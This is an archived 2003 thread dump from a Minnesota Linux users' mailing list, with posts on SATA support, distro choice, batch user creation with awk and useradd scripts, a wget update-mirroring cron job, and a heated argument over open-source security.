wrote: > Hmmmm other then M$ sucks you mean! Please don't! Try to pitch Linux on the postive aspects of Linux, not the negative aspects of Microsoft. It's important to show businesses we love linux and not necessary just hate Microsoft. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chuckeal at comcast.net Sun Aug 17 09:59:33 2003 From: chuckeal at comcast.net (Chuck) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Serial ATA References: <000801c3644c$2cd6c2b0$0200a8c0@xpjoey> <3F3F8825.1070700@visi.com> Message-ID: <001b01c364d0$2b116000$0200a8c0@xpjoey> I am putting a new computer together and from what I found by searching the net it looks like there is a problem with Linux and serial ATA. Just wondering if any one had first hand experience. Chuck ----- Original Message ----- From: "Sam MacDonald" To: Sent: Sunday, August 17, 2003 8:50 AM Subject: Re: [TCLUG] Serial ATA > Chuck wrote: > > > Has anyone had any experience installing Red Hat or any other dist. on > > an Intel 865 based motherboard using a serial ATA hard drive? > > > > Any help would be greatly appreciated. > > > > Chuck Licha > > Are you having a problem? If so, what kind of problem? > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sun Aug 17 12:26:54 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output References: <20030816221758.49dfc663.hackel@walkingfish.com> <20030817041433.GM13598@techmonkeys.org> <000601c36484$87b48040$0201a8c0@brinstar> <20030817062828.GN13598@techmonkeys.org> <3F3F8B9B.1070009@visi.com> Message-ID: <004201c364e4$c077e5b0$0201a8c0@brinstar> Sam MacDonald writes: > OMFG! M$ changed their minds, wish they would do that about their OS > updates. I'm so tired of security patches, it drives everyone I know > out of their minds. Yeah, because open source projects _never_ have security holes that need patching. Software with no security holes: qmail, djbdns, publicfile, MyDNS Software with minor security holes: vsftpd, Postfix Software with security holes: Apache, OpenSSL, OpenSSH, BIND, Sendmail, WU-FTPD, MySQL, ProFTPD, thttpd, Exim, PHP, Linux, FreeBSD kernel, OpenBSD kernel Obviously, this list is not intended to be comprehensive. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at us-admins.com Sun Aug 17 12:36:11 2003 From: blutgens at us-admins.com (Ben Lutgens) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <004201c364e4$c077e5b0$0201a8c0@brinstar> Message-ID: <4AF8E30B-D0D9-11D7-B9E3-000A9581A7A6@us-admins.com> On Sunday, Aug 17, 2003, at 12:26 US/Central, David Phillips wrote: > > Software with no security holes: qmail, djbdns, publicfile, MyDNS Does anyone here have DJB's personal contact information? If so please forward it to this Phillips guy. Maybe the two of them can get together, fall in love, and retreat to some far away place to live out their fantasy live of totally secure and wondrous code. And the nice thing is, if they do that, none of us will ever have to hear about this shit again. Hey David, maybe you should start an email list of your own. You could call it djb-worshipers and you could probably even get it hosted on cr.yp.to. > > Software with minor security holes: vsftpd, Postfix > > Software with security holes: Apache, OpenSSL, OpenSSH, BIND, Sendmail, > WU-FTPD, MySQL, ProFTPD, thttpd, Exim, PHP, Linux, FreeBSD kernel, > OpenBSD > kernel > > Obviously, this list is not intended to be comprehensive. > > -- > David Phillips > http://david.acz.org/ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Ben Lutgens US Admins, Inc System Administrator / Server Gumby _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sun Aug 17 12:46:24 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output References: <4AF8E30B-D0D9-11D7-B9E3-000A9581A7A6@us-admins.com> Message-ID: <000401c364e7$7a727410$0201a8c0@brinstar> Ben Lutgens writes: >> Software with no security holes: qmail, djbdns, publicfile, MyDNS > > Does anyone here have DJB's personal contact information? If so please > forward it to this Phillips guy. Maybe the two of them can get > together, fall in love, and retreat to some far away place to live out > their fantasy live of totally secure and wondrous code. That is a very mature response. In fact, I did list software not written by him. What should worry you is that almost all open source software is insecure. His code is secure. Perhaps you should learn why instead of making fun of it. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Sun Aug 17 13:31:44 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <000401c364e7$7a727410$0201a8c0@brinstar> References: <4AF8E30B-D0D9-11D7-B9E3-000A9581A7A6@us-admins.com> <000401c364e7$7a727410$0201a8c0@brinstar> Message-ID: On Sun, 17 Aug 2003, David Phillips wrote: > That is a very mature response. In fact, I did list software not written by > him. What should worry you is that almost all open source software is > insecure. His code is secure. Perhaps you should learn why instead of > making fun of it. Alright thats it! David: wear a red shirt to the next beermeeting. Ben: wear a blue shirt to the next beermeeting. In the parking lot we are going to see this end once and for all. Munir Nassar RedConcepts.NET http://redconcepts.net/ PS: $50 on the guy in the blue shirt _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Sun Aug 17 20:09:58 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <004201c364e4$c077e5b0$0201a8c0@brinstar> References: <20030816221758.49dfc663.hackel@walkingfish.com> <20030817041433.GM13598@techmonkeys.org> <000601c36484$87b48040$0201a8c0@brinstar> <20030817062828.GN13598@techmonkeys.org> <3F3F8B9B.1070009@visi.com> <004201c364e4$c077e5b0$0201a8c0@brinstar> Message-ID: <20030818010958.GO13598@techmonkeys.org> On Sun, Aug 17, 2003 at 12:26:54PM -0500, David Phillips wrote: > Yeah, because open source projects _never_ have security holes that need > patching. > The difference is, no open source software comes with a built in virus factory. You didn't hear the media (in the first hour or two) saying 'Oh my! Could this be because of the latest Apache bug!?', but I did hear a few 'It's possible this is related to the latest microsoft worm' Nobody ever claimed open source was bug free, the point is that you can _see_ the source, find bugs, and fix them yourself. open source vendors are held to a higher standard because the code is out there for everyone to see -- they can't ignore blatantly bad coding and expect to get away with it (as companies like MS do). Has sendmail/apache/* had a number of critial exploits? Yes. Do people block the ports used by open source software/OS's because of those exploits? No. (Unlike Windows, where a majority of the internet has started filtering 80, 135-139, 445, 1433 to downstream consumers due to rampant exploitation of a neverending number of vulnerable windows PC's) [snip troll bait] -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at us-admins.com Mon Aug 18 08:31:04 2003 From: blutgens at us-admins.com (Ben Lutgens) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <000401c364e7$7a727410$0201a8c0@brinstar> Message-ID: <375015AA-D180-11D7-B9E3-000A9581A7A6@us-admins.com> On Sunday, Aug 17, 2003, at 12:46 US/Central, David Phillips wrote: > That is a very mature response. In fact, I did list software not > written by > him. What should worry you is that almost all open source software is > insecure. His code is secure. Perhaps you should learn why instead of > making fun of it. I'm not making fun of it, I'm pleading with you to stfu about it. Give it a rest man. -- Ben Lutgens US Admins, Inc System Administrator / Server Gumby _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Mon Aug 18 08:55:02 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Potential Server... In-Reply-To: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> References: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> Message-ID: On Fri, 15 Aug 2003 19:04:51 -0500, Webmaster wrote: > I just picked up an old IBM PC Server 330. > SA-weet! > couldn't find the HDs...any help? I'm gonna give Linux a try on > it...should I go RH or Mandrake? (I've got RH 9.0, and Mandrake 9.1) > Which one (probably) has better support for this system? > Red hat - I can't stand how long it takes me to get updates on my Mandrake system. With red hat - I always can connect, and get packages. Mandrake - it's hit or miss - I miss most of the time. > Thanks! > > Keith Bachman > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Mon Aug 18 09:22:07 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Potential Server... Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAC0@mail.temgweb.com> > Red hat - I can't stand how long it takes me to get updates > on my Mandrake > system. With red hat - I always can connect, and get > packages. Mandrake - > it's hit or miss - I miss most of the time. If you join MandrakeClub and use the mirrors there, it's nice and fast. $60 a year, it's worth it. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Mon Aug 18 09:28:06 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <004301c3646d$35bbd160$0325a8c0@crlc.net> References: <004301c3646d$35bbd160$0325a8c0@crlc.net> Message-ID: <20030818142806.GA23947@skuld.wookimus.net> Hmm... You're a rookie, huh? I was going to give you a "power tip", but it relates to an editor that you'll find a bit cryptic: vim. ls(1) is a strange beast. It changes its output based on its target. When you try to send ls output to a pipe, it changes its format, so be careful. If you're looking for color output to a pipe, use the "--color=always" option for ls. For example: shell$ ls --color=always | PAGER A PAGER is a program like less(1) and more(1), but it can essentially be anything that'll take input from another program. You can pipe output of ls to vim, for example. shell$ ls | vim -f - The "-f -" tells vim that the input is coming from stdin, one of three common file descriptors for any shell program. You have stdin, stdout, and stderr for input, output, and error respectively. Pipes work with stdout and stdin. Let's say you have a cagey program that uses stderr to print "usage" information. Any program by Richard Stallman, for example. ;-) If you try using a pipe to page the output of a "--help" option that doesn't "work", the output is probably being sent to stderr. If you're in bash, you can use this shell redirect: bash$ program --help 2>&1 | PAGER This illustrates common "file descriptors". stdin == 0, stdout == 1, and stderr == 2. In the above redirect, I'm combining stderr with stdout and piping it to my PAGER. For more info, check your manpages for your favorite shell, editor, and pager. ;-) Also, take a look at some of the HOWTO's at "The Linux Documentation Project" at http://www.tldp.org. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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IOW, it's a potshot. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030818/1735c7b7/attachment.pgp From johnnyfulcrum at mn.rr.com Mon Aug 18 09:25:07 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Potential Server... In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAC0@mail.temgweb.com> References: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAC0@mail.temgweb.com> Message-ID: On Mon, 18 Aug 2003 09:22:07 -0500, Austad, Jay wrote: >> Red hat - I can't stand how long it takes me to get updates on my >> Mandrake system. With red hat - I always can connect, and get packages. >> Mandrake - it's hit or miss - I miss most of the time. > > If you join MandrakeClub and use the mirrors there, it's nice and fast. > $60 > a year, it's worth it. True - I forgot about that. I suppose that's for unlimited systems too eh? > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Mon Aug 18 09:36:47 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] need a variable or new way of doing this Message-ID: <029c01c36596$276472a0$4364640a@DELL2> I am trying to use webmin to batch create 1200 users. I can work things out in excel and export all fields to a csv except the homdir filed, which needs to be /home/"usersname". Is there a variable for this, or a way of getting this done with another method? This is the format I am working with: create:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive: expire Thanks in advance Raymond _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rware at interplastic.com Mon Aug 18 09:47:18 2003 From: rware at interplastic.com (Ryan Ware) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] Rookie question - Pausing ls output Message-ID: <85FABEFDA46ED711943B003048276DF6237D8B@ipserver2.interplastic.com> You mean like what you just said? > -----Original Message----- > From: Chad Walstrom [SMTP:chewie@wookimus.net] > Sent: Monday, August 18, 2003 9:30 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Rookie question - Pausing ls output > > On Sun, Aug 17, 2003 at 12:26:54PM -0500, David Phillips wrote: > > Obviously, this list is not intended to be comprehensive. > > Nor does it provide context, references, or supporting documentation. > IOW, it's a potshot. > > -- > Chad Walstrom http://www.wookimus.net/ > assert(expired(knowledge)); /* core dump */ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 10:17:43 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:33 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <029c01c36596$276472a0$4364640a@DELL2> References: <029c01c36596$276472a0$4364640a@DELL2> Message-ID: <20030818101743.125d1df4.sfertch@real-time.com> On Mon, 18 Aug 2003 09:36:47 -0500 "Raymond Norton" wrote: > I am trying to use webmin to batch create 1200 users. I can work > things out in excel and export all fields to a csv except the homdir > filed, which needs to be /home/"usersname". Is there a variable for > this, or a way of getting this done with another method? > > This is the format I am working with: > > create:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:in > active: expire > Can you do passwords in batch with Webmin? I haven't looked at it for a long time, and didn't think it was possible. To me, it would make more sense to add the users from a batch useradd/adduser (noninteractive) script passing all the options. I thought there was a way to set up account passwords with a flatfile. Or, you can make a dummy account with a generic login password and move that password into the password field either in the /etc/passwd or shadow password file for the newly created accounts. We have something like that at work floating around, but I'd have to dig for it. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Mon Aug 18 10:24:47 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] [OT] Feeding Trolls: An useful activity? Message-ID: <20030818152447.GE23947@skuld.wookimus.net> On Mon, Aug 18, 2003 at 09:47:18AM -0500, Ryan Ware wrote: > You mean like what you just said? Nice troll. Threads and listservers are beautiful ways of extrapolating context. David's post wasn't part of the thread, and it made sweeping, stark comments about security without giving supporting statements or references. It was a troll. That's what we're doing, feeding trolls. I should know better, and so should you. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030818/4bd60d06/attachment.pgp From list at slushpupie.com Mon Aug 18 10:26:45 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <029c01c36596$276472a0$4364640a@DELL2> References: <029c01c36596$276472a0$4364640a@DELL2> Message-ID: <20030818102645.72adfdfb.list@slushpupie.com> On Mon, 18 Aug 2003 09:36:47 -0500 "Raymond Norton" wrote: >I am trying to use webmin to batch create 1200 users. I can work things >out in excel and export all fields to a csv except the homdir filed, >which needs to be /home/"usersname". Is there a variable for this, or a >way of getting this done with another method? > >This is the format I am working with: > >create:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:ina >ctive: expire if you have lines that aready look like this: create:joe:passw0rd:101:100:Joe Shmoe::/bin/bash/:0:0:0:0:0 you could use awk easily (or perl if you like that sort of thing) awk -F: '{ printf("%s:%s:%s:%s:%s:%s:/home/%s:%s:%s:%s:%s:%s\n",$1,$2,$3,$4,$5,$6,$2,$8,$9,$10,$11,$12); }' I havnt tested that, but its a pretty basic awk command, just make sure you count the number of fields. If you have a different separator than the colon, just change -F: with -F, or whatever you use. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Mon Aug 18 10:29:40 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] need a variable or new way of doing this Message-ID: <02a901c3659d$8ae1cab0$4364640a@DELL2> > Can you do passwords in batch with Webmin? I haven't looked at it for a long time, and didn't think it was possible. To me, it would >make more sense to add the users from a batch useradd/adduser (noninteractive) script passing all the options. I thought there was a way to >set up account passwords with a flatfile. Or, you can make a dummy account with a generic login password and move that password into >the password field either in the /etc/passwd or shadow password file for the newly created accounts. I have not worked with an adduser batch file before, but sure would be willing to give it a try. On a side note, is there an easy way for windows users to change their passwords on the server. I may just give a random password and have them change it later. Raymond _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cdf123 at cdf123.com Mon Aug 18 10:35:15 2003 From: cdf123 at cdf123.com (Chris Frederick) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] Potential Server... In-Reply-To: References: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAC0@mail.temgweb.com> Message-ID: <3F40F233.9000901@cdf123.com> Johnny Fulcrum wrote: > On Mon, 18 Aug 2003 09:22:07 -0500, Austad, Jay > wrote: > >>> Red hat - I can't stand how long it takes me to get updates on my >>> Mandrake system. With red hat - I always can connect, and get >>> packages. Mandrake - it's hit or miss - I miss most of the time. >> >> >> If you join MandrakeClub and use the mirrors there, it's nice and >> fast. $60 >> a year, it's worth it. > > > True - I forgot about that. I suppose that's for unlimited systems > too eh? I always just put this in my crontab set for daily at 11pm. getupdates /updates/mandrake9.1.src /updates/mandrake9.1 getupdates file is: wget --quiet --input-file=$1 --directory-prefix=$2 --tries=0 --timestamping --glob=on --recursive --no-host-directories --cut-dirs=4 /updates/mandrake9.1.src file is: ftp://ftp.phys.ttu.edu/pub/mandrake/updates/9.1/* Then update your Package Sources from drakconf, and/or set up your ftp server to serve this directory, and you're all set. I've never noticed much trafic on that server. It used to be part of the official 8.2 mirrors but was taken off their list for some reason. But the server itslef is still keeping up with Mandrake Soft for updates and isos so I still use it. This setup took about 2 hours to run the first time I ran it, but since then I've never noticed it running, and I'm on a 144k isdn. I kept the input file and directory prefix so I could use this to get updates for multiple versions (9.0, 9.1, and 9.2 when it comes out) and still have them use the same script. I suppose there is a better way to do this (rsync?) but I know wget pretty well and I was lazy. ;-) This at least works well, and it's a LOT faster to update a system through the lan rather than the net. And in my mind this is easier than dishing out the $60, and even with the $60 I'd still probably do this for speed. Just my $0.02... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 10:47:24 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] [OT] Feeding Trolls: An useful activity? In-Reply-To: <20030818152447.GE23947@skuld.wookimus.net> References: <20030818152447.GE23947@skuld.wookimus.net> Message-ID: <3F40F50C.8070800@visi.com> Chad Walstrom wrote: >On Mon, Aug 18, 2003 at 09:47:18AM -0500, Ryan Ware wrote: > > >>You mean like what you just said? >> >> > >Nice troll. > >Threads and listservers are beautiful ways of extrapolating context. >David's post wasn't part of the thread, and it made sweeping, stark >comments about security without giving supporting statements or >references. It was a troll. > >That's what we're doing, feeding trolls. I should know better, and so >should you. > > > That sir is the way a man should act. I like to joke about things and have fun but that thread went to far. I applaud you for taking the high road. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 10:49:00 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <02a901c3659d$8ae1cab0$4364640a@DELL2> References: <02a901c3659d$8ae1cab0$4364640a@DELL2> Message-ID: <20030818104900.11a787be.sfertch@real-time.com> On Mon, 18 Aug 2003 10:29:40 -0500 "Raymond Norton" wrote: > I have not worked with an adduser batch file before, but sure would be > willing to give it a try. On a side note, is there an easy way for > windows users to change their passwords on the server. I may just give > a random > password and have them change it later. > Adduser is the interactive creation process, on Slackware at least. Oh, and Tru64. What you want to look at is useradd. Do a man against useradd and look at the options. I did see an option there on -p for password, but didn't look into it. Might be easier than going thru webmin. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 11:00:27 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] First Time with a tar.gz Message-ID: <3F40F81B.3060003@visi.com> I'm going to try to install Open Office on my linux box today. I down loaded the .tar.gz from OO.org I haven't tried this ever so it should be good for some funny posts :o) Sam. P.S. Anyone want to take on an out of work Windows SA, teach him all about Linux, PhP, and MySQL and have a very loyal worker and friend? I'm cheep, but not stupid :o) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at bnac.biz Mon Aug 18 10:58:39 2003 From: kcbnac at bnac.biz (K B) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] Need help with Potential Server [was: Potential Server] Message-ID: <000701c365a1$9a5eccf0$6a01a8c0@WORKBOOK> Okay...so I've got this IBM PC Server 330, and I'm planning on throwing Linux on it. I need a few things: Up to 4 more HD racks for it. (I've got 2, I just swapped out the 4.3GB HDs that were in there for 2 18.2GB Segate Cheetah 10ks. The more racks, the more Cheetahs it gets. (And thus, more space...) (I've got 7 total, at least...I picked up 17 SCSI HDs...lol...) I'm going to need some help getting Linux on it, so this is gonna take a bit of somebody's help. If I could get together with somebody, your place or else at my work (my old HS) with a high-speed connection (to do updates, etc) I'd like to get Red Hat running. Version doesn't matter, but the newer, the better. If anybody's ever worked with this server, that would be perfect. If we can get two guys, a IBM Server experienced guy and then a Red Hat guy if need be, that's great. I want to get this thing up and running prior to the next installfest on Sept. 13th, so I can have it there and used. I'm willing to pay for somebody's beer (I'm 18, so pick it up yourself, I'll reimburse) or pizza, or whatever in compensation. I'm up north of Anoka, so your place would probably work better (HS's up in St. Francis, would have to be like a Friday, til about 3pm) Let me know if any of you can help me with this, and if so, when's the best time. Off the list would most likely work easiest. Thanks! Keith Bachman _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 10:59:10 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <20030818104900.11a787be.sfertch@real-time.com> References: <02a901c3659d$8ae1cab0$4364640a@DELL2> <20030818104900.11a787be.sfertch@real-time.com> Message-ID: <20030818105910.5c14acc0.sfertch@real-time.com> On Mon, 18 Aug 2003 10:49:00 -0500 Shawn wrote: > Adduser is the interactive creation process, on Slackware at least. > Oh, and Tru64. What you want to look at is useradd. Do a man against > useradd and look at the options. I did see an option there on -p for > password, but didn't look into it. Might be easier than going thru > webmin. > Here's the syntax you want to follow. It worked for me on Slack, but the password option didn't work: root@server:/# useradd -c 'User Name' -d /home/guest9 -g users -m -k /etc/skel -p password -s /bin/bash -u 33499 guest9 Hope that helps to get you going in the right direction. Again, the password option didn't work for me, so you'll need to research that. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Mon Aug 18 11:23:22 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] need a variable or new way of doing this Message-ID: <02c101c365a5$0b292180$4364640a@DELL2> >Here's the syntax you want to follow. It worked for me on Slack, but the password option didn't work: >root@server:/# useradd -c 'User Name' -d /home/guest9 -g users -m -k /etc/skel -p password -s /bin/bash -u 33499 guest9 >Hope that helps to get you going in the right direction. Again, the password option didn't work for me, so you'll need to research that. This is nice, but it doesn't help me create 1200 users by batch. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 11:31:11 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <02c101c365a5$0b292180$4364640a@DELL2> References: <02c101c365a5$0b292180$4364640a@DELL2> Message-ID: <20030818113111.1d12fee3.sfertch@real-time.com> On Mon, 18 Aug 2003 11:23:22 -0500 "Raymond Norton" wrote: > >Here's the syntax you want to follow. It worked for me on Slack, but > >the > password option didn't work: > > >root@server:/# useradd -c 'User Name' -d /home/guest9 -g users -m -k > /etc/skel -p password -s /bin/bash -u 33499 guest9 > > >Hope that helps to get you going in the right direction. Again, the > password option didn't work for me, so you'll need to research that. > > > > This is nice, but it doesn't help me create 1200 users by batch. > How about a while/read loop where you read a flat file and awk print the variables in? Here's a script I created to create about 400 home directories from reading a flat file: #!/usr/bin/sh #set -x #for i in `cat passwd` cat passwd|while read i do USER=`echo $i|awk -F: '{print $1}'` UID=`echo $i|awk -F: '{print $3}'` GROUP=`echo $i|awk -F: '{print $4}'` DIR=`echo $i|awk -F: '{print $6}'` /sbin/mkdir $DIR /sbin/chown $USER:$GROUP $DIR /sbin/chmod 755 $DIR done I think you might be able to set something up in a loop to get what you need. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 11:38:45 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] Need help with Potential Server [was: Potential Server] In-Reply-To: <000701c365a1$9a5eccf0$6a01a8c0@WORKBOOK> References: <000701c365a1$9a5eccf0$6a01a8c0@WORKBOOK> Message-ID: <3F410115.9020508@visi.com> K B wrote: >Okay...so I've got this IBM PC Server 330, and I'm planning on throwing >Linux on it. > >I need a few things: > >Up to 4 more HD racks for it. (I've got 2, I just swapped out the 4.3GB >HDs that were in there for 2 18.2GB Segate Cheetah 10ks. The more >racks, the more Cheetahs it gets. (And thus, more space...) (I've got 7 >total, at least...I picked up 17 SCSI HDs...lol...) > >I'm going to need some help getting Linux on it, so this is gonna take a >bit of somebody's help. > >If I could get together with somebody, your place or else at my work (my >old HS) with a high-speed connection (to do updates, etc) I'd like to 